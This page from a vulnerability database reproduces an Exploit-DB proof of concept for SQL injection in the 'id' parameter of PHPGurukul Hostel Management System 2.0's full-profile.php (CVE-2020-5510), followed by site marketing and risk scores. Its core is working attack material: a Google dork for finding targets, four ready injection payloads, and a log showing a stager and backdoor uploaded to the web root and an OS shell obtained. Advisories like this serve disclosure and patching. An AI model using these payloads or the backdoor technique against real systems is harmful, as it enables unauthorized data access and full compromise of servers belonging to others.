Lucene search
+L

Hostel Management System 2.0 - 'id' SQL Injection (SQLi)

🗓️ 06 Jan 2020 00:00:00Reported by FULLSHADEType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 240 Views

Hostel Management System 2.0 'id' SQL Injection via full-profile.ph

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
PHPGurukul Hostel Management System SQL Injection Vulnerability
17 Feb 202000:00
–cnvd
cve
CVE
CVE-2020-5510
8 Jan 202017:32
–cve
cvelist
Cvelist
CVE-2020-5510
8 Jan 202017:32
–cvelist
exploitdb
Exploit DB
Hostel Management System 2.0 - 'id' Unauthenticated SQL Injection (SQLi)
4 Jun 202000:00
–exploitdb
euvd
EUVD
EUVD-2020-26673
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2020-5510
8 Jan 202018:15
–nvd
osv_cve
osv_cve
CVE-2020-5510
8 Jan 202018:15
–osv_cve
prion
Prion
Sql injection
8 Jan 202018:15
–prion
ptsecurity
Positive Technologies
PT-2020-18487
8 Jan 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-5510: Improper Neutralization of Special Elements used in an SQL Command
8 Jan 202000:00
–rapid7
# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection
# Google Dork: intitle: "Hostel management system"
# Date: 2020-01-03
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: v2.0
# Tested on: Windows
# CVE : N/A

Description:

The Hostel Management System v2.0 application from PHPgurukul is vulnerable to
SQL injection via the 'id' parameter on the full-profile.php page.

==================== 1. SQLi ====================

http://10.0.0.214/Hostel%20management%20System%20Project/hostel/full-profile.php?id=1

THe ?id parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

GET parameter 'id' is vulnerable.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-3444' OR 1650=1650#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' OR (SELECT 3801 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(3801=3801,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- klCZ

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=1' OR SLEEP(5)-- slKU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x63786c795a416371494752765744487a4e6443636e705076586e714d735a7053595a4b676b526157,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

[14:20:08] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpulczr.php
[14:20:08] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpbjdvm.php
[14:20:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'john-pc\john'
os-shell>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.8
CVSS 210
EPSS0.02112
240